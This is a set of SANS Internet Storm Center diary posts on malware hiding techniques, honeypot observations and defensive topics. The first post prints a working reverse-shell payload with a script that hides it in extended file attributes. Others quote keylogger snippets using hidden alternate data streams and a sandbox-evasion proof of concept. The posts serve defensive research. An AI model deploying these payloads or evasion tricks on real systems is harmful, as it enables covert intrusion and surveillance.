Xamecosys
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This week, it's SANSFIRE[1]! I'm attending the FOR577[2] training ("Linux Incident Response & Threat Hunting"). On day 2, we covered the different filesystems and how data is organized on disk. In the Linux ecosystem, most filesystems (ext3, ext4, xfs, ...) support "extended file attributes", also called "xattr". It's a file system feature that enables users to add metadata to files. These data is not directly made available to the user and may contain anything related to the file (ex: the author's name, a brief description, ...). You may roughly compare this feature to the Alternate Data Stream (ADS) available in the Windows NTFS filesystem.

How do you use it? On Ubuntu, there is a package "attr" that contains utilities for manipulating filesystem extended attributes:

remnux@remnux:~/malwarezoo/xattr$ setfattr -n user.note -v "Hello ISC!" sample.txt 
remnux@remnux:~/malwarezoo/xattr$ getfattr -d -n "user.note" sample.txt 
# file: sample.txt
user.note="Hello ISC!"

Note the first part of the extended attribute: "user", called the class. Currently, they are four classes defined: security, system, trusted and user.

When reviewing extended attributes in the class, an idea popped up amongst students: "What if we could use this storage space for malicious content?". Challenge accepted!

After the training, I wrote a proof-of-concept that uses extended file attributes to store malicious Python code (a simple reverse shell).

First step: Let's add extended attributes to files. To make the payload more stealthy, it will be:

• split across multiple files (in chunks of x bytes)
• XOR'd with a one-byte key
• Base64 encoded

For the demo, my payload is a Python one-liner that will open a connection to the Attacker's listener (127.0.0.1:4444) and spawn a shell. I used a simple picture as base file. Each picture will receive an extended attribute "payload".

Here is the script I wrote:

#!/bin/bash
# Encode a payload into extended attributes

# Simple payload
PAYLOAD='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

CHUNK_SIZE=32
CHUNKS=()
i = 0
# Split the payload in chunks of 32 bytes
while [ $((i * CHUNK_SIZE)) -lt ${#PAYLOAD} ]; do
  CHUNK=${PAYLOAD:$((i * CHUNK_SIZE)):CHUNK_SIZE}
  CHUNKS+=("$CHUNK")
  ((i++))
done

# Encoding chunks and save extended attributes
echo "Payload:"
echo $PAYLOAD
echo
echo "Chunk count: ${#CHUNKS[@]}"
for idx in "${!CHUNKS[@]}"; do
  # Duplicate a simple picture
  cp isc.png picture-$idx.png
  # XOR + Base64 encoding with the key 0xFB
  echo -n ${CHUNKS[$idx]} \
    | python3 -c "import sys; sys.stdout.buffer.write(bytes([b ^ 0xFB for b in sys.stdin.buffer.read()]))" \
    | base64 -w0 > tmp && mv tmp "picture-$idx.b64"
  echo "CHUNK$((idx + 1)) = ${CHUNK[$idx]} ($(cat picture-$idx.b64))"
  # Save the payload
  setfattr -n user.payload -v "$(cat picture-$idx.b64)" picture-$idx.png
  rm picture-$idx.b64
done

Results:

remnux@remnux:~/malwarezoo/xattr$ ./encode-payload.sh 
Payload:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Chunk count: 7
chunk1 = import socket,subprocess,os;s=so (kpaLlImP24iUmJCej9eIjpmLiZSYnoiI15SIwIjGiJQ=)
chunk2 = cket.socket(socket.AF_INET,socke (mJCej9WIlJiQno/TiJSYkJ6P1bq9pLK1vq/XiJSYkJ4=)
chunk3 = t.SOCK_STREAM);s.connect(("127.0 (j9WotLiwpKivqb66ttLAiNWYlJWVnpiP09PZysnM1cs=)
chunk4 = .0.1",4444));os.dup2(s.fileno(), (1cvVytnXz8/Pz9LSwJSI1Z+Oi8nTiNWdkpeelZTT0tc=)
chunk5 = 0); os.dup2(s.fileno(),1); os.du (y9LA25SI1Z+Oi8nTiNWdkpeelZTT0tfK0sDblIjVn44=)
chunk6 = p2(s.fileno(),2);p=subprocess.ca (i8nTiNWdkpeelZTT0tfJ0sCLxoiOmYuJlJieiIjVmJo=)
chunk7 = ll(["/bin/sh","-i"]); (l5fToNnUmZKV1IiT2dfZ1pLZptLA)

Once your payload has been stored in extended attributes, another piece of code can be used to decode them later.

I wrote a proof-of-concept[3] in C that expect the list of files to process. For every file, the extended attribute "payload" will be extracted, Base64-decoded and XOR'd. All substrings are concatenated to rebuild the initial payload:

remnux@remnux:~/malwarezoo/xattr$ ./poc picture-0.png picture-1.png picture-2.png picture-3.png picture-4.png picture-5.png picture-6.png
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Finally, if you pass this output to a Python interpreter, you get a reverse shell:

As you can see, extended file attributes can be a very nice way to hide malicious content!

Of course, we are defenders, so the next question is how to scan a Linux system for files that have extended attributes? The getfattr command provides a "-R" option to recursively search for files:

remnux@remnux:~/malwarezoo$ getfattr -Rd -m- . | grep “^# file:” | cut -d “:” -f2
xattr/picture-2.png
xattr/picture-0.png
xattr/picture-5.png
xattr/picture-1.png
xattr/sample.txt
xattr/picture-3.png
xattr/picture-6.png
xattr/picture-4.png

If you scan your complete filesystem, you will see that this feature is intensively used by the operating system. A classic one is to store POSIX ACLs:

remnux@remnux:~/malwarezoo$ sudo getfattr -m- -d /var/log/journal
getfattr: Removing leading '/' from absolute path names
# file: var/log/journal
system.posix_acl_access=0sAgAAAAEABwD/////BAAFAP////8IAAUABAAAABAABQD/////IAAFAP////8=
system.posix_acl_default=0sAgAAAAEABwD/////BAAFAP////8IAAUABAAAABAABQD/////IAAFAP////8=

[1] https://www.sans.org/cyber-security-training-events/sansfire-2025/
[2] https://www.sans.org/cyber-security-courses/linux-threat-hunting-incident-response/
[3] https://github.com/xme/SANS-ISC/blob/master/xattr-poc.c

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

A few months ago, I wrote a diary about online services used to exfiltrate data[1]. In this diary, I mentioned some well-known services. One of them was catbox.moe[2]. Recently, I found a sample that was trying to download some payload from this website. I performed a quick research and collected more samples!

I collected (and stopped because it was a constant flood!) 612 URLs pointing to direct downloads (hxxps://files[.]catbox[.]moe/xxxxxx). Some where popular and used by multiple samples:

remnux@remnux:~/malwarezoo/catmoe-research$ cat urls.txt | sort | uniq -c | sort -rn| head -10
 23 hxxps://files[.]catbox[.]moe/a1z5ds.dll
 20 hxxps://files[.]catbox[.]moe/63g8p0.dll
 16 hxxps://files[.]catbox[.]moe/h7b4e4.dll
 13 hxxps://files[.]catbox[.]moe/mqhwlv.sys
 13 hxxps://files[.]catbox[.]moe/j5s1uy.bin
 13 hxxps://files[.]catbox[.]moe/3ps4f5.dll
 10 hxxps://files[.]catbox[.]moe/5ikx0w.dll
  9 hxxps://files[.]catbox[.]moe/l3whjb.wav
  9 hxxps://files[.]catbox[.]moe/1z3yes.cmd
  7 hxxps://files[.]catbox[.]moe/eaek1u.dll

What are the most popular file types?

remnux@remnux:~/malwarezoo/catmoe-research$ file *| cut -d “:” -f 2 | sort | uniq -c | head -30
55 PE32+ executable (DLL) (GUI) x86-64, for MS Windows
29 PE32+ executable (native) x86-64, for MS Windows
21 ASCII text, with no line terminators
20 PE32+ executable (DLL) (console) x86-64, for MS Windows
20 PE32+ executable (console) x86-64, for MS Windows
11 data
10 RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 48000 Hz
9 DOS batch file, ASCII text, with CRLF line terminators
9 ASCII text, with CRLF line terminators
8 DOS batch file, ASCII text, with very long lines, with CRLF line terminators
5 RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
5 RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz
3 Zip archive data, at least v2.0 to extract
3 RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 48000 Hz
3 ASCII text, with very long lines, with CRLF line terminators
2 RAR archive data, v5
2 PNG image data, 800 x 450, 8-bit/color RGB, non-interlaced
2 PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced
2 PNG image data, 1080 x 1080, 8-bit/color RGB, non-interlaced
2 PE32+ executable (GUI) x86-64, for MS Windows
2 PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
2 PE32+ executable (DLL) (EFI application) x86-64, for MS Windows
2 PE32 executable (console) Intel 80386, for MS Windows
2 MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows, MZ for MS-DOS
2 JPEG image data, Exif standard
2 ISO Media, MP4 Base Media v1 [IS0 14496-12
2 empty
2 DOS batch file, UTF-8 Unicode text, with CRLF line terminators
2 DOS batch file, ASCII text, with CRLF line terminators, with escape sequences

Note that PE files should NOT be available on catbox.moe:

I hope they don't just filter files based on the extension! Conclusion: if you don't use such online services, any traffic to them can be considered as suspicious.

[1] https://isc.sans.edu/diary/Online+Services+Again+Abused+to+Exfiltrate+Data/31862
[2] https://catbox.moe/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

If many malware samples try to be "filess" (read: they try to reduce their filesystem footprint to the bare minimum), another technique remains interesting: Alternate Data Streams or "ADS"[1]. This NTFS feature allows files to contain multiple data streams, enabling hidden or additional metadata to be stored alongside the main file content without being visible in standard file listings. A common usage of ADS is the "Mark of the Web"[2] that helps to flag files as suspicious or not depending on their origin.

I found a simple Python keylogger that implements an ADS to store the captured keystrokes:

hidden_dir = os.path.join(os.environ['APPDATA'], 'Microsoft\\Windows\\Cache')
os.makedirs(hidden_dir, exist_ok=True)
log_host_file = os.path.join(hidden_dir, "syscache.dat")
log_file = log_host_file + ":logdata"

A second layer of protection is implemented to hide the file using SetFileAttributesW()[3] with the flag 0x02:

try:
    FILE_ATTRIBUTE_HIDDEN = 0x02
    ctypes.windll.kernel32.SetFileAttributesW(log_host_file, FILE_ATTRIBUTE_HIDDEN)
except Exception as e:
    print(f"Failed to hide host file: {e}")

The script is a classic keylogger but it also implements a clipboard monitor to capture all text content:

try:
    win32clipboard.OpenClipboard()
    if win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT):
        data = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()

The script (SHA256:9927159c39a0201e2fcd558c4716fc5cab7e1c6ab69a311f7a21cab3c5667980) has a low VT score (only 3/64) even if not obfuscated. The script does not have an exfiltration mechanism, therefore I presume that another one will take care of this!

How to detect if files have ADS on your file system? This can be achieve with a few lines of PowerShell:

Get-ChildItem -Recurse -Path C:\ | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue
    if ($streams.Count -gt 1) { 
        $streams 
    }
}

Example:

PS C:\Users\REM> C:\Users\REM\Documents\ads_search.ps1

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\REM\Desktop\PURCHASE_ORDER.exe::$DATA
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\REM\Desktop
PSChildName   : PURCHASE_ORDER.exe::$DATA
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\REM\Desktop\PURCHASE_ORDER.exe
Stream        : :$DATA
Length        : 1044992

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\REM\Desktop\PURCHASE_ORDER.exe:Zone.Identifier
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\REM\Desktop
PSChildName   : PURCHASE_ORDER.exe:Zone.Identifier
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\REM\Desktop\PURCHASE_ORDER.exe
Stream        : Zone.Identifier
Length        : 608

[1] https://infosecwriteups.com/ntfs-filesystem-alternate-data-stream-ads-c0e4a2402563
[2] https://en.wikipedia.org/wiki/Mark_of_the_Web
[3] https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfileattributesw
 

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

The volume of honeypot logs changes over time. Very rarely are honeypot logs quiet, meaning that there are no internet scans or malicious activity generating logs. Honeypots can see large increases in activity [1], but this has tended to be the exception, rather than the rule. Within the last few months, however, there has been a dramatic increase in honeypot log volumes and how often these high volumes are seen. This has not just been from my residential honeypot, which has historically seen higher log volumes, but from all of the honeypots that I run and archive logs from frequently. 

Figure 1: Log volumes for multiple honeypots over the last 13-14 months. Recent activity has drowned out earlier traffic volumes, making them appear nonexistent. 

To help demonstrate that other logs do exist, the high volume contributors were filtered out. Any source network (/24 in size) that contributed more than 1,000,000 logs in a day was removed.

Figure 2: Log volumes over time when filtering out sources that have contributed more than 1,000,000 logs in a day. 

The source of the log volume has been from the web honeypot logs.

Figure 3: Web honeypot log volumes have been the highest contributor for these outliers. 

More activity can be seen earlier in the year when large volume contributors are taken out. Even though this allows us to see more data prior to April of 2025, there is still an obvious increase in the last few months. 

Figure 4: Web honeypot logs for the last 13-14 months, factoring out sources that have contributed more than 1,000,000 logs in a single day. 

Previous high volume periods are also unable to be seen easily due to the recent higher log volume. 

Figure 5: Previous days considered to be anomalous in terms of high-volume traffic barely register in comparison to recent web honeypot logs.

It has not been uncommon to see web honeypot files greater than 1 GB for a day of activity in the last couple of months. In the last few weeks, multiple honeypots have generated logs over 20 GB for one day of activity and for multiple days. In one day, a honeypot generated nearly 58 GB of web honeypot logs, which beat a previous "record" of ~35 GB.

Figure 6: The volumes are increasing, but are also happening more often, demonstrated by a significant rise in the average size of locally stored web honeypot logs.

So where are these logs coming from and what are they looking for? Since many source IP addresses were seen coming from overlapping subnets, the data was summarized by subnet. The data highlights that some subnets are focused on a small number of unique URL paths.

Figure 7: Common URLs accessed by subnets, with overall subnet activity and the most active IP address for each subnet.

Figure 8: 5 Most common URL paths seen for active subnets. 

There is a lot more data to look into, but this activity may require additional action for anyone hosting a honeypot and retaining additional logs. For me, I'm working on archiving more local logs more frequently to save space. This may mean doing high compression zipping of web honeypot logs, potentially twice a day. It may be necessary to consider having over 20 GB of logs per day for multiple days. If log backups and cleanup happen once per week, this may mean storage of 140 GB of just web honeypot logs between backups. 

[1] https://isc.sans.edu/diary/Overflowing+Web+Honeypot+Logs/30416
[2] https://isc.sans.edu/diary/Web+Scanning+SonicWall+for+CVE202120016+Update/31952/
[3] https://isc.sans.edu/diary/31906
 

--
Jesse La Grew
Handler

We have had a "newly registered domain" feed for a few years. This feed pulls data from ICANN's centralized zone data service (https://czds.icann.org) and TLS certificate transparency logs.

The ICANN CZDS is a good start, but it only offers data from top-level domains collaborating with ICANN. Missing are in particular country-level domains. Country-level zone files can be hard to come by, so we use TLS certificate transparency logs as a "cheap" alternative. Pretty much all domain registrars will, by default, create a "parked" website, and with that, they will make a certificate. Even if they do not, any halfway self-respecting phishing site will use TLS and register a certificate with a public certificate authority at one point. The TLS certificate transparency logs also help capture older domains.

Each day, we capture around 250,000 new domains using this system. But of course, we want to know which domains are used for malicious purposes. However, as the sample below shows, there are a lot of "odd" domain names.

So I searched for some commonly used criteria to identify "bad" domain names, and found these:

• A domain name is very short or very long
• The entropy of the domain name (is it just random characters?)
• Does it contain a lot of numbers or hyphens?
• Is it an international domain name, and if so, is it valid? Does it mix different scripts (=languages)?
• Does it contain keywords like "bank" or "login" that are often used with phishing sites, or brand names like "Apple" or "Google"?

We have now added a score to each domain name that can be used to rank them based on these criteria. You can find a daily report here, and the score was added to our "recentdomain" API feed. This is experimental, and the exact algorithm we use for the score will change over time.

We used to have an "old" supicous domain feed that was mostly based on correlating a few third party feeds, but over time these feeds went away or became commercial and we could no longer use them.

Feedback is very welcome.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This is a Guest Diary by Sihui Neo, an ISC intern as part of the SANS.edu BACS program]

As part of the SANS degree program curriculum, I had the opportunity to set up a honeypot to monitor log activities mimicking a vulnerable server. I used the AWS free tier EC2 instance to set up the honeypot sensor in Japan and deployed Cowrie, a SSH and Telnet honeypot designed to log brute force attacks and shell interaction performed by an attacker.

In addition to the sensor setup, to allow me to easily look at all the logs in a single platform, I purchased a separate virtual private server and installed ELK SIEM, following the setup instructions from ISC mentor, Guy Bruneau’s github page.[1] Then setup the sensor to send all logs to the SIEM server.

Since the setup of the honeypot, one of the interesting observations in logs was direct-tcp connection requests. More than 1000 different IPs within a month were seen to have made these requests and more than 75% were made to a single destination IP. In this post, I’ll cover how and why these connections are set up, and where the destination IP points to.

What did the logs look like?

Sample of direct-tcp connection request seen in honeypot logs

The sample log on the original event field seen above indicates that the request originated from 127.0.0.1 (the local loopback interface), but when looking at the source.ip in kibana, the actual source IPs were different external addresses. 

125.20.251.66 was the actual source IP

Using the source IP 125.20.251.66, I took a look at the traffic before the direct-tcp connection and the PCAP traffic.

Figure 1. Logs from 125.20.251.66 at the time of the direct-tcp connection request showing source port of 32069 in a red box

In Figure 1, I extracted the logs for traffic from source IP 125.20.251.66 as seen in kibana. The line direct-tcp connection request to 77.88.21.158:25 from 127.0.0.1:32069 is highlighted in the red box, yet the source address shows 125.20.251.66 while the source port matches 32069.

Additional evidence is in the PCAP. The entire stream below showed the connection using the source port of 42948, which was indeed the source port for the initial SSH connection as seen in the Figure 1 above, highlighted in a blue box, source IP seen in the last column.

Figure 2. PCAP and TCP stream for traffic from 125.20.251.66

Lastly, the SSH banner SSH-2.0-OpenSSH_7.4 was seen in Figure 1, highlighted in green as well as in the TCP Stream at the bottom of Figure 2. All these suggested that the traffic was being forwarded or proxied to help obscure the real source IP. 

So how does it work?

Reconnaissance and Initial access

As explained before, the attacker has to initiate a connection to the honeypot server to create a SSH tunnel and to do that, they require valid SSH login credentials. This is usually fulfilled by brute forcing. When looking at initial activities of IPs that had direct-tcp connection requests, they had a similar pattern of :

• Only attempting to connect to port 2222
• Throttled brute forcing attempts, meaning brute forcing attempts from the same IP were spaced out at least 2 hours if it failed.
• TTL of less than 50, means starting TTL is likely 64, which could be indicative of Linux/MAX OSX systems [3]
• SSH client hash fingerprint: acaa53e0a7d7ac7d1255103f37901306

After successfully obtaining valid SSH credentials, the SSH tunnel would usually be set up within the second.

Going somewhere?

As mentioned before, more than 1000 IPs were seen to have made these proxy connections in the honeypot and interestingly, the majority, more than 75%, were seen to be proxying to the destination IP of 77.88.21.158 at port 25.

77.88.21.158 port 25 seems to be the smtp server for yandex mail, based in Russia [4] which is a common blocked location for many countries.

Referencing the SSH tunnel diagram shown earlier, this likely means that the client set their email client to use ‘127.0.0.1:1080’ as the proxy, which instructed the email traffic to go through the established SSH tunnel to reach 77.88.21.158.

As the honeypot server does not really have SSH service on port 2222, the connection is closed quickly after the tunnel is set up and the PCAP logs do not capture outbound traffic to the destination IPs. 

What’s the worst that could happen?

Direct-tcp connections are usually a form of proxy connection that uses the honeypot server in this case, as an intermidiary to either mask origin IPs or to bypass traffic rules. The reason attackers use compromised servers instead of paid or free VPN is attribution and/or possibly consistency. Commercial VPN requires sign up and services like peer-to-peer networks do not usually allow users to choose the route or hops.

Establishing a SSH tunnel does not require root and can easily be set up as long as you have a valid user’s credentials to login to the SSH server (honeypot, in this case). In fact, brute forcing is one of the more common and easy tactics to gain access to vulnerable servers due to password leaks, reusing of passwords and default passwords.

Once your server is compromised and successfully used as a proxy, your server may be susceptible to:

• Malicious Traffic Attribution: Actors can route illegal activities (hacking, fraud, DDoS) through your server, making you appear responsible.
• Bandwidth Overuse: Proxy traffic consumes resources, which can lead to throttling by your host/ISP and extra costs especially in the cloud.
• IP Blacklisting: Your server’s IP may end up on firewall blacklists preventing you from your daily activities

[1] https://github.com/bruneaug/DShield-SIEM
[2] https://ma.ttias.be/socks-proxy-linux-ssh-bypass-content-filters/
[3] https://www.imperva.com/learn/performance/time-to-live-ttl/
[4] https://search.censys.io/hosts/77.88.21.158
[5] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

There are several reasons why one would set up an internal certificate authority. Some are configured to support strong authentication schemes, some for additional flexibility and convenience. I am going to cover the second part. In particular, it can be helpful for developers to have an internal certificate authority to issue certificates for development purposes. Websites used for development and internal testing are usually only used by a few individuals and are generally only accessible via internal networks or VPNs. Often, these sites do not even use TLS. But there are a few reasons why you should consider running TLS on all sites, including internal development sites:

1. Browser preferences: Browsers are increasingly "forcing" TLS. Running a site without TLS can be inconvenient. In particular, if you use features like strict transport security, setting up exceptions for development sites (in particular APIs) can be messy.
2. Configuration Consistency: Keeping your development environment as close to "the real thing" as possible is best. The fewer changes you make, the less likely something will break. Some advanced JavaScript features (for example, geo-location) may not even work without TLS.
3. Security: Even in a more isolated development environment, TLS still provides developers an important safeguard to not expose themselves to additional risk. Even if you manage only to use test data, attackers could still use insecure development sites to inject code to pivot into developers' machines.

The obvious, simple solution would be just using a free service like Let's Encrypt to request developer certificates. But there are a few reasons why you probably do not want to do this:

1. Certificate Request Authentication: Development sites should not be exposed publicly, and the simple HTTP authentication for a website will likely not work. Alternatively, you could use DNS-based authentication schemes, but that would require providing developers with access to modify DNS settings. This can be done safely, but it takes a lot of work to get it right. Do not forget that Let's Encrypt also implements rate limits that may be exceeded if you request too many certificates.
2. Certificate Transparency: Public certificate authorities must publish all certificates they issue in certificate transparency logs. An attacker can use them to easily discover development systems if you use a public certificate authority to request certificates.
3. Flexibility: Your internal certificate authority does not have to comply with the same rules that public certificate authorities have to obey. Your certificates can be valid longer (or shorter), they can use internal domain names or even IP addresses. This is useful for development sites.

The next step is "how". How do you set up an easy-to-use certificate authority? OpenSSL documents the hard way. You create a certificate authority, and next, you use various scripts to create individual certificates. This works, but gets old quickly. There is a better way to set up a certificate authority that supports the "ACME" protocol to issue certificates. This is easier to manage centrally, and you will have more visibility into the issued certificates.

The easiest and cheapest way to get started is the open-source solution offered by Smallstep. Smallstep also provides several commercial solutions if you prefer support and additional integration features. As an added "bonus", it can also be used to manage SSH certificates.

The Smallstep instructions are good. One issue I ran into is that you need to initialize your CA before setting Smallstep up to run as a daemon. So follow the instructions in this order:

1. Install: https://smallstep.com/docs/step-ca/installation/ (I used Ubuntu 24.04 in a minimal-sized container on Proxmox)
2. Install jq if it is not already installed.
3. Initialize: https://smallstep.com/docs/step-ca/getting-started/
4. Run as a daemon: https://smallstep.com/docs/step-ca/certificate-authority-server-production/index.html#running-step-ca-as-a-daemon

Once it is all set up, all you need to do is

1 - Add the new certificate authority as a trusted CA to your browser (and or operating system)

2 - The first time you use "certbot" to request a certificate, add the following argument: --server https://yourinternalca/acme/acme/directory 

You should be able to use various validation schemes with smallstep. Please ensure the server smallstep is running and can resolve any hostnames you may use, but adding them to a host file will work.

Note that CAs you add manually do not have to obey the same rules as public certificate authorities. Certificates may be valid for longer; you may issue certificates for IP addresses, and you do not need to configure revocation or certificate transparency. 

---
Johannes B. Ullrich, Ph.D. Dean of Research, SANS.edu
Twitter|

Today, Microsoft released patches for 130 Microsoft vulnerabilities and 9 additional vulnerabilities not part of Microsoft's portfolio but distributed by Microsoft. 14 of these are rated critical. Only one of the vulnerabilities was disclosed before being patched, and none of the vulnerabilities have so far been exploited.

Noteworthy Vulnerabilities:

CVE-2025-49695 and CVE-2025-49696: Both vulnerabilities affect Microsoft Office, are rated critical, and are considered "more likely" to be exploited by Microsoft. These issues do not require user interaction, so the user does not need to open a document. The exploit could be triggered via the preview pane. Macs are affected as well, but a patch is currently only available for Windows.

CVE-2025-49719: This vulnerability has already been made public. It does allow for information disclosure on a Microsoft SQL Server. To patch, you must patch the OLE DB Driver. 

CVE-2025-49717: Exploitation is considered less likely for this vulnerability. But if exploited, it would allow code execution via a Microsoft SQL Server. Take this as additional motivation not to expose SQL servers.

CVE-2025-49704: I consider this vulnerability interesting as it appears to allow command/code injection in SharePoint. However, an attacker has to be authenticated to take advantage of this vulnerability.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Modern malware implements a lot of anti-debugging and anti-analysis features. Today, when a malware is spread in the wild, there are chances that it will be automatically sent into a automatic analysis pipe, and a sandbox. To analyze a sample in a sandbox, it must be "copied" into the sandbox and executed. This can happen manually or automatically. When people start the analysis of a suspicious file, they usually call it "sample.exe", "malware.exe" or "suspicious.exe". It's not always a good idea because it's can be detected by the malware and make it aware that "I'm being analyzed".

From a malware point of view, it's easy to detect this situation. Microsoft offers to Developers thousands of API calls that can be used for "malicious purposes". Let's have a look at GetModuleFileName()[1]. This API call retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process. Normally, a "module" refers to a DLL but, in the Microsoft ecosystem, the main program is also a "module" (like a DLL is also a PE file but with exported functions)

If you read carefully the API description, it expects 3 parameters but the first name can be omitted (set to NULL):

"If this parameter is NULL, GetModuleFileName retrieves the path of the executable file of the current process."

Let's write a small program:

using System;
using System.Runtime.InteropServices;

class Program
{
    // Invoke declaration for GetModuleFileName
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    static extern uint GetModuleFileName(IntPtr hModule, [Out] char[] lpFilename, uint nSize);

    static void Main(string[] args)
    {
        const int maxPath = 260;
        char[] buffer = new char[maxPath];
        uint length = GetModuleFileName(IntPtr.Zero, buffer, (uint)buffer.Length);

        // Get the exec basename
        string fullPath = new string(buffer, 0, (int)length);
        string exeName = System.IO.Path.GetFileName(fullPath);

        // List of potential sample names 
        string[] allowedNames = { 
            "sample.exe", 
            "malware.exe", 
            "malicious.exe", 
            "suspicious.exe", 
            "test.exe", 
            "submitted_sample.exe", 
            "file.bin", 
            "file.exe",
            "virus.exe",
            "program.exe"
        };

        foreach (var name in allowedNames)
        {
            if (string.Equals(exeName, name, StringComparison.OrdinalIgnoreCase))
            {
                // Executable name matched, silenyly exit!
                return;
            }
        }

        Console.WriteLine($"I'm {exeName}, looks good! Let's infect this host! }}:->");
    }
}

Let's compile and execute this file named "ISC_20250707.exe":

Once renamed as "malware.exe", the program will just silently exit! Simple but effective!

Of course, this is a simple proof-of-concept. In a real malware, there will be more tests implemented (ex: ignore the case) and the list of potential suspicious filenames will be obfuscated (or a dynamic list will be loaded from a 3rd-party website).

[1] https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulefilenamea

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Just looked at our telnet/ssh honeypot data, and found some interesting new usernames that  attackers attempted to use:

"notachancethisisreal"

This username is likely used to detect Cowrie (and other) honeypots. Cowrie is often configured to accept logins randomly. No matter the username/password combination used, the login will succeed every few times. This is supposed to provide the illusion of a more "real" system, not just allowing some common default password, and not allowing each login to succeed. The password used with the username is "nopasswordforme73baby." Likely to pick a password that is highly unlikely to be used in a real system.

Any login that succeeds with this username and password will indicate that the system is a honeypot. So far, we have only had 31 login attempts with this username and password, all on July 1st.

"scadaadmin"

The name says it: It looks like they are looking for SCADA systems. The password used with this username is "P@$$W0rd". The password has been used "forever" and is popular, but the username is new. 

The username appears to be associated with "Rapid SCADA" systems, according to some AI results, but I was not able to confirm this in the manuals. Maybe just a hallucination. However, the default password is either 12345 or blank. They are looking for users who have tried to be more secure. I am not sure how they ended up with P@$$W0rd. They also appear to use "admin" and "12345" as default credentials. It isn't a serious SCADA system if it doesn't have simple default credentials like this.

"gpu001", "gpu002"

These appear to be common hostnames for network-accessible GPUs, but I wasn't able to confirm that these are actual usernames often used for these systems. But attackers are always out for more GPU/CPU power, so they may just give this a try hoping for the best. There are a few passwords that are used with these usernames, like '7777777', 'gpu001@2025', and '1111111'.

See anything else that is new and interesting? Or have any insight into the three usernames I listed above? Let me know! (see contact link on the left).

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|